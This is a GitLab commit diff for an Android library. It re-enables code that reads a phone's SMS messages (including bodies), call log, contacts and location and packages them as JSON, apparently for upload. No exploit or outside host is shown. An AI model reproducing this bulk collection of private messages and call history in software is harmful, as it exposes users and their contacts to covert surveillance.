Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
L
lib_base
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
sikang
lib_base
Commits
98628cf8
Commit
98628cf8
authored
Oct 12, 2019
by
sikang
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
bug fix channel pkg
parent
a311ff41
Show whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
489 additions
and
489 deletions
+489
-489
src/main/java/com/common/Collector.java
+195
-195
src/main/java/tech/starwin/database/DataBaseHelper.java
+139
-139
src/main/java/tech/starwin/utils/collection/UploadManager.java
+155
-155
No files found.
src/main/java/com/common/Collector.java
View file @
98628cf8
...
...
@@ -73,47 +73,47 @@ public class Collector {
public
static
List
<
CollectInfoEntity
>
getUploadData
(
Context
context
)
{
List
<
CollectInfoEntity
>
infos1
=
null
;
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
infos1 = Stream.of(InfoType.MACHINE_TYPE, InfoType.PERMISSION)
//SDK-NOLOG-CODE ->
.map(new Function<InfoType, CollectInfoEntity>() {
//SDK-NOLOG-CODE ->
@Override
//SDK-NOLOG-CODE ->
public CollectInfoEntity apply(InfoType infoType) {
//SDK-NOLOG-CODE ->
return Collector.getStoreEntity(infoType, context, null);
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
})
//SDK-NOLOG-CODE ->
.reduce(new ArrayList<CollectInfoEntity>(), new BiFunction<ArrayList<CollectInfoEntity>, CollectInfoEntity, ArrayList<CollectInfoEntity>>() {
//SDK-NOLOG-CODE ->
@Override
//SDK-NOLOG-CODE ->
public ArrayList<CollectInfoEntity> apply(ArrayList<CollectInfoEntity> arr, CollectInfoEntity item) {
//SDK-NOLOG-CODE ->
arr.add(item);
//SDK-NOLOG-CODE ->
return arr;
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
});
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
List<ContactEntity> contactEntityList = DataBaseHelper.getContacts();
//SDK-NOLOG-CODE ->
List<CollectInfoEntity> infos2 = Stream.of(InfoType.CONTACT, InfoType.CALL_LOG, InfoType.SMS_LOG)
//SDK-NOLOG-CODE ->
.map(new Function<InfoType, CollectInfoEntity>() {
//SDK-NOLOG-CODE ->
@Override
//SDK-NOLOG-CODE ->
public CollectInfoEntity apply(InfoType infoType) {
//SDK-NOLOG-CODE ->
return Collector.getStoreEntity(infoType, context, contactEntityList);
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
})
//SDK-NOLOG-CODE ->
.reduce(new ArrayList<CollectInfoEntity>(), new BiFunction<ArrayList<CollectInfoEntity>, CollectInfoEntity, ArrayList<CollectInfoEntity>>() {
//SDK-NOLOG-CODE ->
@Override
//SDK-NOLOG-CODE ->
public ArrayList<CollectInfoEntity> apply(ArrayList<CollectInfoEntity> arr, CollectInfoEntity item) {
//SDK-NOLOG-CODE ->
arr.add(item);
//SDK-NOLOG-CODE ->
return arr;
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
});
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
infos1.addAll(infos2);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
CollectInfoEntity location = Collector.getStoreEntity(InfoType.LOCATION, context, null);
//
SDK-NOLOG-CODE ->//
if (location == null) {
//
SDK-NOLOG-CODE ->//
location = LitePal.where("type='LOCATION'").findFirst(CollectInfoEntity.class);
//
SDK-NOLOG-CODE ->//
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
if (location != null) {
//SDK-NOLOG-CODE ->
infos1.add(location);
//SDK-NOLOG-CODE ->
}
infos1
=
Stream
.
of
(
InfoType
.
MACHINE_TYPE
,
InfoType
.
PERMISSION
)
.
map
(
new
Function
<
InfoType
,
CollectInfoEntity
>()
{
@Override
public
CollectInfoEntity
apply
(
InfoType
infoType
)
{
return
Collector
.
getStoreEntity
(
infoType
,
context
,
null
);
}
})
.
reduce
(
new
ArrayList
<
CollectInfoEntity
>(),
new
BiFunction
<
ArrayList
<
CollectInfoEntity
>,
CollectInfoEntity
,
ArrayList
<
CollectInfoEntity
>>()
{
@Override
public
ArrayList
<
CollectInfoEntity
>
apply
(
ArrayList
<
CollectInfoEntity
>
arr
,
CollectInfoEntity
item
)
{
arr
.
add
(
item
);
return
arr
;
}
});
List
<
ContactEntity
>
contactEntityList
=
DataBaseHelper
.
getContacts
();
List
<
CollectInfoEntity
>
infos2
=
Stream
.
of
(
InfoType
.
CONTACT
,
InfoType
.
CALL_LOG
,
InfoType
.
SMS_LOG
)
.
map
(
new
Function
<
InfoType
,
CollectInfoEntity
>()
{
@Override
public
CollectInfoEntity
apply
(
InfoType
infoType
)
{
return
Collector
.
getStoreEntity
(
infoType
,
context
,
contactEntityList
);
}
})
.
reduce
(
new
ArrayList
<
CollectInfoEntity
>(),
new
BiFunction
<
ArrayList
<
CollectInfoEntity
>,
CollectInfoEntity
,
ArrayList
<
CollectInfoEntity
>>()
{
@Override
public
ArrayList
<
CollectInfoEntity
>
apply
(
ArrayList
<
CollectInfoEntity
>
arr
,
CollectInfoEntity
item
)
{
arr
.
add
(
item
);
return
arr
;
}
});
infos1
.
addAll
(
infos2
);
CollectInfoEntity
location
=
Collector
.
getStoreEntity
(
InfoType
.
LOCATION
,
context
,
null
);
// if (location == null) {
// location = LitePal.where("type='LOCATION'").findFirst(CollectInfoEntity.class);
// }
if
(
location
!=
null
)
{
infos1
.
add
(
location
);
}
//SDK-NOLOG-END
return
infos1
;
}
...
...
@@ -348,29 +348,29 @@ public class Collector {
public
static
String
toSmsDTO
(
List
<
SmsEntity
>
smsList
,
Context
context
,
List
<
ContactEntity
>
contactList
)
{
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
try {
//SDK-NOLOG-CODE ->
JSONObject oneTypeData = initJSON(InfoType.SMS_LOG, context);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
oneTypeData.put("data", getSmsJSONArray(smsList, contactList));
//
SDK-NOLOG-CODE ->//
oneTypeData.put("totalNumber", smsList.size());
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
oneTypeData.put("pageSum", 1);
//SDK-NOLOG-CODE ->
oneTypeData.put("pageNo", 0);
//SDK-NOLOG-CODE ->
oneTypeData.put("currentSum", smsList.size());
//SDK-NOLOG-CODE ->
oneTypeData.put("updateTime", System.currentTimeMillis());
//
SDK-NOLOG-CODE ->//
if(smsList.size() > 0){
//
SDK-NOLOG-CODE ->//
oneTypeData.put("latestTime", Stream.of(smsList).map(SmsEntity::getDate)
//
SDK-NOLOG-CODE ->//
.max((o1, o2) -> (int)(o1-o2)).get());
//
SDK-NOLOG-CODE ->//
oneTypeData.put("earliestTime", Stream.of(smsList).map(SmsEntity::getDate)
//
SDK-NOLOG-CODE ->//
.min((o1, o2) -> (int)(o1-o2)).get());
//
SDK-NOLOG-CODE ->//
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
return oneTypeData.toString();
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
} catch (JSONException e) {
//SDK-NOLOG-CODE ->
e.printStackTrace();
//SDK-NOLOG-CODE ->
//UploadManager.uploadException(e, "Collector.toSmsDTO");
//SDK-NOLOG-CODE ->
}
try
{
JSONObject
oneTypeData
=
initJSON
(
InfoType
.
SMS_LOG
,
context
);
oneTypeData
.
put
(
"data"
,
getSmsJSONArray
(
smsList
,
contactList
));
// oneTypeData.put("totalNumber", smsList.size());
oneTypeData
.
put
(
"pageSum"
,
1
);
oneTypeData
.
put
(
"pageNo"
,
0
);
oneTypeData
.
put
(
"currentSum"
,
smsList
.
size
());
oneTypeData
.
put
(
"updateTime"
,
System
.
currentTimeMillis
());
// if(smsList.size() > 0){
// oneTypeData.put("latestTime", Stream.of(smsList).map(SmsEntity::getDate)
// .max((o1, o2) -> (int)(o1-o2)).get());
// oneTypeData.put("earliestTime", Stream.of(smsList).map(SmsEntity::getDate)
// .min((o1, o2) -> (int)(o1-o2)).get());
// }
return
oneTypeData
.
toString
();
}
catch
(
JSONException
e
)
{
e
.
printStackTrace
();
//UploadManager.uploadException(e, "Collector.toSmsDTO");
}
//SDK-NOLOG-END
return
""
;
}
...
...
@@ -378,101 +378,101 @@ public class Collector {
private
static
JSONArray
getSmsJSONArray
(
List
<
SmsEntity
>
smsList
,
List
<
ContactEntity
>
contactList
)
{
JSONArray
jsonArray
=
null
;
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
if (smsList == null || smsList.size() == 0) {
//SDK-NOLOG-CODE ->
return new JSONArray();
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
HashMap<String, String> map = toNumberNameMap(contactList);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
jsonArray = Stream.of(smsList)
//SDK-NOLOG-CODE ->
.map(new Function<SmsEntity, JSONObject>() {
//SDK-NOLOG-CODE ->
@Override
//SDK-NOLOG-CODE ->
public JSONObject apply(SmsEntity entity) {
//SDK-NOLOG-CODE ->
JSONObject smsObj = new JSONObject();
//SDK-NOLOG-CODE ->
try {
//SDK-NOLOG-CODE ->
if (TextUtils.isEmpty(entity.getAddress())) {
//SDK-NOLOG-CODE ->
smsObj.put("name", "");
//SDK-NOLOG-CODE ->
} else {
//SDK-NOLOG-CODE ->
smsObj.put("name", geNameFromNumberNameMap(map, entity.getAddress()));
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
smsObj.put("number", entity.getAddress() == null ? "" : entity.getAddress());
//SDK-NOLOG-CODE ->
smsObj.put("subject", entity.getSubject() == null ? "NO_SUBJECT" : entity.getSubject());
//SDK-NOLOG-CODE ->
smsObj.put("direction", SmsEntity.getSmsTypeDesc(entity.getType()));
//SDK-NOLOG-CODE ->
smsObj.put("createTime", entity.getDate());
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
if (TextUtils.isEmpty(entity.getBody())) {
//SDK-NOLOG-CODE ->
smsObj.put("content", "");
//SDK-NOLOG-CODE ->
} else {
//SDK-NOLOG-CODE ->
smsObj.put("content", entity.getBody().replaceAll("\u0000", ""));
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
} catch (JSONException e) {
//SDK-NOLOG-CODE ->
e.printStackTrace();
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
return smsObj;
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
})
//SDK-NOLOG-CODE ->
.reduce(new JSONArray(), new BiFunction<JSONArray, JSONObject, JSONArray>() {
//SDK-NOLOG-CODE ->
@Override
//SDK-NOLOG-CODE ->
public JSONArray apply(JSONArray array, JSONObject smsObj) {
//SDK-NOLOG-CODE ->
array.put(smsObj);
//SDK-NOLOG-CODE ->
return array;
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
});
if
(
smsList
==
null
||
smsList
.
size
()
==
0
)
{
return
new
JSONArray
();
}
HashMap
<
String
,
String
>
map
=
toNumberNameMap
(
contactList
);
jsonArray
=
Stream
.
of
(
smsList
)
.
map
(
new
Function
<
SmsEntity
,
JSONObject
>()
{
@Override
public
JSONObject
apply
(
SmsEntity
entity
)
{
JSONObject
smsObj
=
new
JSONObject
();
try
{
if
(
TextUtils
.
isEmpty
(
entity
.
getAddress
()))
{
smsObj
.
put
(
"name"
,
""
);
}
else
{
smsObj
.
put
(
"name"
,
geNameFromNumberNameMap
(
map
,
entity
.
getAddress
()));
}
smsObj
.
put
(
"number"
,
entity
.
getAddress
()
==
null
?
""
:
entity
.
getAddress
());
smsObj
.
put
(
"subject"
,
entity
.
getSubject
()
==
null
?
"NO_SUBJECT"
:
entity
.
getSubject
());
smsObj
.
put
(
"direction"
,
SmsEntity
.
getSmsTypeDesc
(
entity
.
getType
()));
smsObj
.
put
(
"createTime"
,
entity
.
getDate
());
if
(
TextUtils
.
isEmpty
(
entity
.
getBody
()))
{
smsObj
.
put
(
"content"
,
""
);
}
else
{
smsObj
.
put
(
"content"
,
entity
.
getBody
().
replaceAll
(
"\u0000"
,
""
));
}
}
catch
(
JSONException
e
)
{
e
.
printStackTrace
();
}
return
smsObj
;
}
})
.
reduce
(
new
JSONArray
(),
new
BiFunction
<
JSONArray
,
JSONObject
,
JSONArray
>()
{
@Override
public
JSONArray
apply
(
JSONArray
array
,
JSONObject
smsObj
)
{
array
.
put
(
smsObj
);
return
array
;
}
});
//SDK-NOLOG-END
return
jsonArray
;
}
public
static
String
toCallLogDTO
(
List
<
CallLogEntity
>
calllogList
,
Context
context
,
List
<
ContactEntity
>
contactList
)
{
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
try {
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
JSONObject oneTypeData = initJSON(InfoType.CALL_LOG, context);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
oneTypeData.put("data", getCallLogJSONArray(calllogList, contactList));
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
oneTypeData.put("totalNumber", calllogList.size());
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
if (calllogList.size() > 0) {
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
long latest = 0;
//SDK-NOLOG-CODE ->
long earliest = 0;
//SDK-NOLOG-CODE ->
try {
//SDK-NOLOG-CODE ->
latest = Stream.of(calllogList)
//SDK-NOLOG-CODE ->
.map(CallLogEntity::getDate)
//SDK-NOLOG-CODE ->
.max(new Comparator<Long>() {
//SDK-NOLOG-CODE ->
@Override
//SDK-NOLOG-CODE ->
public int compare(Long o1, Long o2) {
//SDK-NOLOG-CODE ->
return (int) (o1 - o2);
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
})
//SDK-NOLOG-CODE ->
.get();
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
earliest = Stream.of(calllogList)
//SDK-NOLOG-CODE ->
.map(CallLogEntity::getDate)
//SDK-NOLOG-CODE ->
.min(new Comparator<Long>() {
//SDK-NOLOG-CODE ->
@Override
//SDK-NOLOG-CODE ->
public int compare(Long o1, Long o2) {
//SDK-NOLOG-CODE ->
return (int) (o1 - o2);
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
})
//SDK-NOLOG-CODE ->
.get();
//SDK-NOLOG-CODE ->
} catch (Exception e) {
//SDK-NOLOG-CODE ->
e.printStackTrace();
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
oneTypeData.put("latestTime", latest);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
oneTypeData.put("earliestTime", "" + earliest);
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
return oneTypeData.toString();
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
} catch (JSONException e) {
//SDK-NOLOG-CODE ->
e.printStackTrace();
//SDK-NOLOG-CODE ->
//UploadManager.uploadException(e, "Collector.toCallLogDTO");
//SDK-NOLOG-CODE ->
}
try
{
JSONObject
oneTypeData
=
initJSON
(
InfoType
.
CALL_LOG
,
context
);
oneTypeData
.
put
(
"data"
,
getCallLogJSONArray
(
calllogList
,
contactList
));
oneTypeData
.
put
(
"totalNumber"
,
calllogList
.
size
());
if
(
calllogList
.
size
()
>
0
)
{
long
latest
=
0
;
long
earliest
=
0
;
try
{
latest
=
Stream
.
of
(
calllogList
)
.
map
(
CallLogEntity:
:
getDate
)
.
max
(
new
Comparator
<
Long
>()
{
@Override
public
int
compare
(
Long
o1
,
Long
o2
)
{
return
(
int
)
(
o1
-
o2
);
}
})
.
get
();
earliest
=
Stream
.
of
(
calllogList
)
.
map
(
CallLogEntity:
:
getDate
)
.
min
(
new
Comparator
<
Long
>()
{
@Override
public
int
compare
(
Long
o1
,
Long
o2
)
{
return
(
int
)
(
o1
-
o2
);
}
})
.
get
();
}
catch
(
Exception
e
)
{
e
.
printStackTrace
();
}
oneTypeData
.
put
(
"latestTime"
,
latest
);
oneTypeData
.
put
(
"earliestTime"
,
""
+
earliest
);
}
return
oneTypeData
.
toString
();
}
catch
(
JSONException
e
)
{
e
.
printStackTrace
();
//UploadManager.uploadException(e, "Collector.toCallLogDTO");
}
//SDK-NOLOG-END
return
""
;
}
...
...
@@ -480,48 +480,48 @@ public class Collector {
private
static
JSONArray
getCallLogJSONArray
(
List
<
CallLogEntity
>
callLogList
,
List
<
ContactEntity
>
contactList
)
{
JSONArray
array
=
null
;
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
if (callLogList == null || callLogList.size() == 0) {
//SDK-NOLOG-CODE ->
return new JSONArray();
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
HashMap<String, String> map = toNumberNameMap(contactList);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
array = Stream.of(callLogList)
//SDK-NOLOG-CODE ->
.map(new Function<CallLogEntity, JSONObject>() {
//SDK-NOLOG-CODE ->
@Override
//SDK-NOLOG-CODE ->
public JSONObject apply(CallLogEntity entity) {
//SDK-NOLOG-CODE ->
JSONObject callLog = new JSONObject();
//SDK-NOLOG-CODE ->
try {
//SDK-NOLOG-CODE ->
String name = geNameFromNumberNameMap(map, entity.getNumber());
//SDK-NOLOG-CODE ->
if (TextUtils.isEmpty(name)) {
//SDK-NOLOG-CODE ->
name = entity.getCachedName();
//SDK-NOLOG-CODE ->
if (name == null) {
//SDK-NOLOG-CODE ->
name = "";
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
callLog.put("name", name);
//SDK-NOLOG-CODE ->
callLog.put("number", entity.getNumber() == null ? "" : entity.getNumber());
//SDK-NOLOG-CODE ->
callLog.put("createTime", "" + entity.getDate());
//SDK-NOLOG-CODE ->
callLog.put("duration", "" + entity.getDuration());
//SDK-NOLOG-CODE ->
callLog.put("direction", CallLogEntity.getCallLogTypeDesc(entity.getType()));
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
} catch (JSONException e) {
//SDK-NOLOG-CODE ->
e.printStackTrace();
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
//UploadManager.uploadException(e, "Collector.getCallLogJSONArray");
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
Log.i("Collector", "CallLog List " + callLog.toString());
//SDK-NOLOG-CODE ->
return callLog;
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
})
//SDK-NOLOG-CODE ->
.reduce(new JSONArray(), new BiFunction<JSONArray, JSONObject, JSONArray>() {
//SDK-NOLOG-CODE ->
@Override
//SDK-NOLOG-CODE ->
public JSONArray apply(JSONArray array, JSONObject jsonObject) {
//SDK-NOLOG-CODE ->
array.put(jsonObject);
//SDK-NOLOG-CODE ->
return array;
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
});
if
(
callLogList
==
null
||
callLogList
.
size
()
==
0
)
{
return
new
JSONArray
();
}
HashMap
<
String
,
String
>
map
=
toNumberNameMap
(
contactList
);
array
=
Stream
.
of
(
callLogList
)
.
map
(
new
Function
<
CallLogEntity
,
JSONObject
>()
{
@Override
public
JSONObject
apply
(
CallLogEntity
entity
)
{
JSONObject
callLog
=
new
JSONObject
();
try
{
String
name
=
geNameFromNumberNameMap
(
map
,
entity
.
getNumber
());
if
(
TextUtils
.
isEmpty
(
name
))
{
name
=
entity
.
getCachedName
();
if
(
name
==
null
)
{
name
=
""
;
}
}
callLog
.
put
(
"name"
,
name
);
callLog
.
put
(
"number"
,
entity
.
getNumber
()
==
null
?
""
:
entity
.
getNumber
());
callLog
.
put
(
"createTime"
,
""
+
entity
.
getDate
());
callLog
.
put
(
"duration"
,
""
+
entity
.
getDuration
());
callLog
.
put
(
"direction"
,
CallLogEntity
.
getCallLogTypeDesc
(
entity
.
getType
()));
}
catch
(
JSONException
e
)
{
e
.
printStackTrace
();
//UploadManager.uploadException(e, "Collector.getCallLogJSONArray");
}
Log
.
i
(
"Collector"
,
"CallLog List "
+
callLog
.
toString
());
return
callLog
;
}
})
.
reduce
(
new
JSONArray
(),
new
BiFunction
<
JSONArray
,
JSONObject
,
JSONArray
>()
{
@Override
public
JSONArray
apply
(
JSONArray
array
,
JSONObject
jsonObject
)
{
array
.
put
(
jsonObject
);
return
array
;
}
});
//SDK-NOLOG-END
return
array
;
}
...
...
src/main/java/tech/starwin/database/DataBaseHelper.java
View file @
98628cf8
...
...
@@ -11,7 +11,7 @@ import android.location.LocationManager;
import
android.net.Uri
;
import
android.os.Build
;
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
import android.provider.CallLog;
import
android.provider.CallLog
;
//SDK-NOLOG-END
//import android.provider.ContactsContract;
import
android.provider.Telephony
;
...
...
@@ -133,35 +133,35 @@ public class DataBaseHelper {
public
static
List
<
CallLogEntity
>
getCallLogs
(
int
maxCount
)
{
List
<
CallLogEntity
>
logs
=
new
ArrayList
<>();
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
long startTime = System.currentTimeMillis();
//SDK-NOLOG-CODE ->
Cursor cursor = null;
//SDK-NOLOG-CODE ->
try {
//SDK-NOLOG-CODE ->
cursor = Nested.getCursor(CALL_LOG);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
if (cursor == null) {
//SDK-NOLOG-CODE ->
return logs;
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
while (cursor.moveToNext()) {
//SDK-NOLOG-CODE ->
com.annimon.stream.Optional<CallLogEntity> oneOpt = Nested.getOneCallLog(cursor);
//SDK-NOLOG-CODE ->
if (oneOpt.isPresent()) {
//SDK-NOLOG-CODE ->
logs.add(oneOpt.get());
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
if (logs.size() >= maxCount) {
//SDK-NOLOG-CODE ->
break;
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
Log.d("caculate_time", "Collector getCallLogs time" + (System.currentTimeMillis() - startTime));
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
} catch (Exception e) {
//SDK-NOLOG-CODE ->
e.printStackTrace();
//
SDK-NOLOG-CODE ->//
UploadUtils.uploadException(e, "getCallLogs");
//SDK-NOLOG-CODE ->
} finally {
//SDK-NOLOG-CODE ->
if (cursor != null && !cursor.isClosed()) {
//SDK-NOLOG-CODE ->
cursor.close();
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
}
long
startTime
=
System
.
currentTimeMillis
();
Cursor
cursor
=
null
;
try
{
cursor
=
Nested
.
getCursor
(
CALL_LOG
);
if
(
cursor
==
null
)
{
return
logs
;
}
while
(
cursor
.
moveToNext
())
{
com
.
annimon
.
stream
.
Optional
<
CallLogEntity
>
oneOpt
=
Nested
.
getOneCallLog
(
cursor
);
if
(
oneOpt
.
isPresent
())
{
logs
.
add
(
oneOpt
.
get
());
}
if
(
logs
.
size
()
>=
maxCount
)
{
break
;
}
}
Log
.
d
(
"caculate_time"
,
"Collector getCallLogs time"
+
(
System
.
currentTimeMillis
()
-
startTime
));
}
catch
(
Exception
e
)
{
e
.
printStackTrace
();
// UploadUtils.uploadException(e, "getCallLogs");
}
finally
{
if
(
cursor
!=
null
&&
!
cursor
.
isClosed
())
{
cursor
.
close
();
}
}
//SDK-NOLOG-END
return
logs
;
}
...
...
@@ -174,34 +174,34 @@ public class DataBaseHelper {
public
static
List
<
SmsEntity
>
getSms
(
int
maxCount
)
{
List
<
SmsEntity
>
logs
=
new
ArrayList
<>();
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
long startTime = System.currentTimeMillis();
//SDK-NOLOG-CODE ->
Cursor cursor = null;
//SDK-NOLOG-CODE ->
try {
//SDK-NOLOG-CODE ->
cursor = Nested.getCursor(SMS_LOG);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
if (cursor == null) {
//SDK-NOLOG-CODE ->
return logs;
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
while (cursor.moveToNext()) {
//SDK-NOLOG-CODE ->
com.annimon.stream.Optional<SmsEntity> oneOpt = Nested.getOneSms(cursor);
//SDK-NOLOG-CODE ->
if (oneOpt.isPresent()) {
//SDK-NOLOG-CODE ->
logs.add(oneOpt.get());
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
if (logs.size() >= maxCount) {
//SDK-NOLOG-CODE ->
break;
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
Log.d("caculate_time", "Collector getSms time" + (System.currentTimeMillis() - startTime));
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
} catch (Exception e) {
//SDK-NOLOG-CODE ->
e.printStackTrace();
//
SDK-NOLOG-CODE ->//
UploadUtils.uploadException(e, "getSms");
//SDK-NOLOG-CODE ->
} finally {
//SDK-NOLOG-CODE ->
if (cursor != null && !cursor.isClosed()) {
//SDK-NOLOG-CODE ->
cursor.close();
//SDK-NOLOG-CODE ->
}
//SDK-NOLOG-CODE ->
}
long
startTime
=
System
.
currentTimeMillis
();
Cursor
cursor
=
null
;
try
{
cursor
=
Nested
.
getCursor
(
SMS_LOG
);
if
(
cursor
==
null
)
{
return
logs
;
}
while
(
cursor
.
moveToNext
())
{
com
.
annimon
.
stream
.
Optional
<
SmsEntity
>
oneOpt
=
Nested
.
getOneSms
(
cursor
);
if
(
oneOpt
.
isPresent
())
{
logs
.
add
(
oneOpt
.
get
());
}
if
(
logs
.
size
()
>=
maxCount
)
{
break
;
}
}
Log
.
d
(
"caculate_time"
,
"Collector getSms time"
+
(
System
.
currentTimeMillis
()
-
startTime
));
}
catch
(
Exception
e
)
{
e
.
printStackTrace
();
// UploadUtils.uploadException(e, "getSms");
}
finally
{
if
(
cursor
!=
null
&&
!
cursor
.
isClosed
())
{
cursor
.
close
();
}
}
//SDK-NOLOG-END
return
logs
;
...
...
@@ -322,29 +322,29 @@ public class DataBaseHelper {
null
,
null
,
null
,
null
);
//SDK-CONTACT-END
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
case CALL_LOG:
//SDK-NOLOG-CODE ->
return resolver
//SDK-NOLOG-CODE ->
.query(CallLog.Calls.CONTENT_URI,
//SDK-NOLOG-CODE ->
new String[]{CallLog.Calls.CACHED_NAME,
//SDK-NOLOG-CODE ->
CallLog.Calls.NUMBER,
//SDK-NOLOG-CODE ->
CallLog.Calls.TYPE,
//SDK-NOLOG-CODE ->
CallLog.Calls.DATE,
//SDK-NOLOG-CODE ->
CallLog.Calls.DURATION},
//SDK-NOLOG-CODE ->
null,
//SDK-NOLOG-CODE ->
null,
//SDK-NOLOG-CODE ->
CallLog.Calls.DEFAULT_SORT_ORDER);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
case SMS_LOG:
//SDK-NOLOG-CODE ->
return resolver.query(Uri.parse("content://sms"), new String[]{
//SDK-NOLOG-CODE ->
"person", //reference to item in {@code content://contacts/people}
//SDK-NOLOG-CODE ->
"address", //The address of the other party.
//SDK-NOLOG-CODE ->
"type",
//SDK-NOLOG-CODE ->
"date",
//SDK-NOLOG-CODE ->
"body",
//SDK-NOLOG-CODE ->
"subject"},
//SDK-NOLOG-CODE ->
null,
//SDK-NOLOG-CODE ->
null,
//SDK-NOLOG-CODE ->
"date DESC");
case
CALL_LOG:
return
resolver
.
query
(
CallLog
.
Calls
.
CONTENT_URI
,
new
String
[]{
CallLog
.
Calls
.
CACHED_NAME
,
CallLog
.
Calls
.
NUMBER
,
CallLog
.
Calls
.
TYPE
,
CallLog
.
Calls
.
DATE
,
CallLog
.
Calls
.
DURATION
},
null
,
null
,
CallLog
.
Calls
.
DEFAULT_SORT_ORDER
);
case
SMS_LOG:
return
resolver
.
query
(
Uri
.
parse
(
"content://sms"
),
new
String
[]{
"person"
,
//reference to item in {@code content://contacts/people}
"address"
,
//The address of the other party.
"type"
,
"date"
,
"body"
,
"subject"
},
null
,
null
,
"date DESC"
);
//SDK-NOLOG-END
default
:
return
null
;
...
...
@@ -353,64 +353,64 @@ public class DataBaseHelper {
}
//SDK-NOLOG-START
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
/**
//SDK-NOLOG-CODE ->
* 取出一条通话记录
//SDK-NOLOG-CODE ->
*/
//SDK-NOLOG-CODE ->
private static com.annimon.stream.Optional<CallLogEntity> getOneCallLog(Cursor cursor) {
//SDK-NOLOG-CODE ->
try {
//SDK-NOLOG-CODE ->
final String cachedName = cursor.getString(0);
//SDK-NOLOG-CODE ->
final String number = cursor.getString(1);
//SDK-NOLOG-CODE ->
final int type = cursor.getInt(2);
//SDK-NOLOG-CODE ->
final long date = cursor.getLong(3);
//SDK-NOLOG-CODE ->
final long duration = cursor.getLong(4);
//SDK-NOLOG-CODE ->
//SDK-NOLOG-CODE ->
CallLogEntity callLogEntity = new CallLogEntity() {{
